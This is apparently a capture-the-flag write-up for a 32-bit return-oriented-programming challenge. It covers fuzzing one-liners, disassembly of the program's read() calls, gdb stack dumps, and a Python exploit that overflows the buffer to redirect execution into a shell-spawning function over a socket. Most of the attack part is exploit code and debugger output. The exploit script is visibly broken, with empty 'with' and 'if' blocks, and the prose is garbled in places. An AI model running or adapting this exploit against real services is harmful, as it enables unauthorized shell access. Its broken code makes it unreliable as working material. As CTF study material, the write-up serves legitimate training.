Problem ROP 1(solved)

How low.

Let's check the mitigation.


This article will tell you, mitigation what effect the problem. We can hope to get some solutions to look the previous sentences. for example, GOT overwrite , use .text/.data sections to apply shellcode.

Well, in the first i check that are there a BOF in this problem.

%python -c "print 'A'*1000"| ./rop1 

%python -c "print '-1'*1000"| ./rop1

%python -c "print '%x.'*1000"| ./rop1

%python -c "print 'A.'*1000"| ./rop1 | python -c 'print raw_input().index("Y")'

%python -c "print 'A.'*65"| ./rop1 | python -c 'a=raw_input();print a[a.index("Y"):]'

From this,we can grasp that there are no format string vulnerability but BOF.

At this points,I have grasped how this problem tell me what the solver has the knowledges. Especially, I was amazed the integer buffer overflow hot to do. ok, Let's check it so.
We are to understand what the first read() and the second read() mean.

the first read()

   0x080484ef <+23>:	mov    DWORD PTR [esp+0x8],0x1
   0x080484f7 <+31>:	mov    DWORD PTR [esp+0x4],0x804a060
   0x080484ff <+39>:	mov    DWORD PTR [esp],0x0
   0x08048506 <+46>:	call   0x8048350 <read@plt>

we must not overlook the *main+23( esp+0x8, 0x1 ) this means you can input only 1 character. and our input will send to 0x804a060. next,

   0x08048524 <+76>:	mov    DWORD PTR [esp+0x8],eax
   0x08048528 <+80>:	mov    DWORD PTR [esp+0x4],0x804a061
   0x08048530 <+88>:	mov    DWORD PTR [esp],0x0
   0x08048537 <+95>:	call   0x8048350 <read@plt>

As started above you understood, eax is how many character we are able to inputs. for example, if you input "A" in the first read(), you can input 41 times inputs to next read(). this is this.
we wanna overflow and override the return address from main.

(gdb) i r esp ebp
The program has no registers now.
(gdb) b *main+167
Breakpoint 1 at 0x804857f
(gdb) r
Starting program: /root/ctf/npca/rop_challenge1/rop_challenge1 

Breakpoint 1, 0x0804857f in main ()
Undefined command: "AAAAAAAA".  Try "help".
(gdb) i r esp ebp
esp            0xbffff830	0xbffff830
ebp            0xbffff8d8	0xbffff8d8
(gdb) p d8-30
No symbol table is loaded.  Use the "file" command.
(gdb) p 0xd8-0x30
$1 = 168
(gdb) x/50xw $esp
0xbffff830:	0xbffff84c	0x0804a061	0x00000041	0x00000001
0xbffff840:	0xb7ffeff4	0xbffff930	0xb7fffab0	0x41414141
0xbffff850:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff860:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff870:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff880:	0x41414141	0x41414141	0x41414141	0xb7e85941
0xbffff890:	0xb7fc9ff4	0x00000001	0xb7fcace0	0x0804831d
0xbffff8a0:	0xb7ff1080	0x080483b0	0x0804a000	0x080485f2
0xbffff8b0:	0x00000001	0xbffff984	0xbffff98c	0xbffff8d8
0xbffff8c0:	0xb7e9e4d5	0xb7ff1080	0x080485ab	0x00000041
0xbffff8d0:	0x080485a0	0x00000000	0xbffff958	0xb7e85bd6
0xbffff8e0:	0x00000001	0xbffff984	0xbffff98c	0xb7fe1858
0xbffff8f0:	0xbffff940	0xffffffff

import socket
import sys
import struct
from subprocess import Popen

addr = 0x080484ac
p = lambda x: struct.pack('<I',x)

base_addr = 0xb7e6f000
bash = base_addr + 0x12962f

buf = '\xff' +'A'*(160-16) #cover the memory
buf += p(addr) #ret2get_shell
buf += "AAAA"
buf += p(bash)
buf += ' '*(256-144)

with open('buf', 'wb') as f:

def prove(host,port,buffe):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	s.send(buffe +"\n")
	while True:
		print s.recv(1024)
		data = s.recv(4096)
		if not data:
		print data
if __name__ == '__main__':
    prove('', 30000, buf)